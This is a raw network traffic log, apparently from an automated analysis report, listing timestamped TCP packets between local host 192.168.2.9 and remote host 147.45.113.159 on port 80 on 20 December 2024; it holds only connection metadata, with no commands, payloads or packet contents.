Dec 20, 2024 17:13:36.510178089 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.510415077 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.510426998 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.510473013 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.511157036 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.511291027 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.511797905 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.511852026 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.512716055 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.512727022 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.512737989 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.512762070 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.512794971 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.514106035 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.514118910 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.514173031 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.514364004 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.514375925 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.514420033 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.515357018 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.562501907 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.568064928 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.568082094 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.568094015 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.568104982 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.568134069 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.568176985 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.569710016 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.569721937 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.569732904 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.569746971 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.569766998 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.569781065 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.570998907 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.571011066 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.571022034 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.571037054 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.571053982 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.571068048 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.572782993 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.572796106 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.572807074 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.572822094 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.572845936 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.572865963 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.574104071 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.574116945 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.574152946 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.574942112 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.574953079 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.574964046 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.574975967 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.574990988 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.575006008 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.576622009 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.576633930 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.576643944 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.576656103 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.576678038 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.576694012 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.577992916 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.578005075 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.578016043 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.578083992 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.578088045 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.578115940 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.579623938 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.579636097 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.579648018 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.579659939 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.579698086 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.579716921 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.581063032 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.581075907 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.581087112 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.581099033 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.581115961 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.581130981 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.582087994 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.586112976 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.586127043 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.586179018 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.617737055 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.617845058 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.617918015 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.617933035 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.617988110 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.618063927 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.618664980 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.618705988 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.618756056 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.619503975 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.620682955 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.684294939 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.684313059 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.684428930 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.684602022 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.684695005 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.685184002 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.685233116 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.685328007 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.685372114 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.685955048 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.686126947 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.686793089 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.686846018 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.686924934 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.686964035 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.687510967 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.687705040 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.687742949 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.688399076 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.688590050 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.689172029 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.689224958 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.689286947 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.689326048 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.689896107 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.690045118 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.690104008 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.690778017 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.691107988 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.691154003 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.691569090 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.691771030 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.692246914 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.692292929 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.692399979 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.692437887 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.693145990 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.693464041 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.693860054 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.694066048 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.694318056 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.694386005 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.694657087 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.694722891 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.695079088 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.695353031 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.695681095 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.696171045 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.696213007 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.696433067 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.696470022 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.696894884 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.697159052 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.697720051 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.697768927 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.697829962 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.697875023 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.698657990 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.698810101 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.698859930 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.699654102 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.700119019 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.700287104 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.700300932 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.700337887 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.700366974 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.700831890 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.701163054 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.701215029 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.701761961 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.701925039 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.701975107 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.702404976 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.702651024 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.703298092 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.703356028 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.703396082 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.703428984 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.704152107 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.704457998 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.704818964 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.704833031 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.704863071 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.704890013 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.705518961 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.705939054 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.705996990 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.706294060 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.706511021 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.706592083 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.707109928 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.749959946 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.759834051 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.760090113 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.760166883 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.760243893 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.760267019 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.760783911 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.761203051 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.761215925 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.761251926 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.761909008 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.762101889 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.762168884 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.762661934 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.762675047 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.762715101 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.763504028 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.763516903 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.763572931 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.764146090 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.764739990 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.764792919 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.764877081 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.765278101 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.765372038 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.765602112 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.765678883 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.765727043 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.767261028 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.767273903 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.767287016 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.767301083 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.767339945 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.767369032 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.768914938 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.768928051 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.768940926 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.768953085 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.768994093 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.769015074 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.770128012 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.770143032 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.770186901 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.771285057 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.771297932 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.771320105 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.771352053 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.771374941 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.771426916 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.772758961 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.772770882 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.772783995 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.772800922 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.772808075 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.772841930 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.774107933 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.774122000 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.774159908 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.775362968 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.775374889 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.775604010 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.812118053 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.812135935 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.812149048 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.812212944 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.813648939 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.813663006 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.813676119 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.813688993 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.813708067 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.813734055 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.877854109 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.877868891 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.877880096 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.877886057 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.878019094 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.879456997 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.879467964 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.879479885 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.879487038 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.879590034 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.880944014 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.880955935 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.880968094 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.880985975 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.881026983 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.881061077 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.882190943 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.882203102 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.882245064 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.883327007 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.883338928 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.883352995 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.883364916 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.883435011 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.883435011 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.884881973 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.884896040 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.884907961 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.884921074 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.884953022 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.886113882 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.886131048 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.886143923 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.887166977 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.887180090 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.887192965 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.887279034 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.888427019 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.888438940 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.888451099 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.888482094 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.888500929 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.889619112 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.889631033 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.889642954 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.889656067 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.889704943 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.889724970 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.891200066 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.891215086 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.891228914 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.891262054 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.892215967 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.892231941 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.892245054 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.892273903 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.892301083 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.893539906 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.893557072 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.893568993 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.893580914 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.893629074 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.895776987 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.895795107 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.895817041 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.895831108 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.895862103 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.895879030 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.896680117 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.896696091 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.896708965 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.896722078 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.896737099 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.896764040 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.898139000 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.898155928 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.898164034 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.898209095 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.899727106 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.899744034 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.899755955 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.899769068 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:36.899784088 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.899812937 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:36.902127028 CET	80	49711	147.45.113.159	192.168.2.9
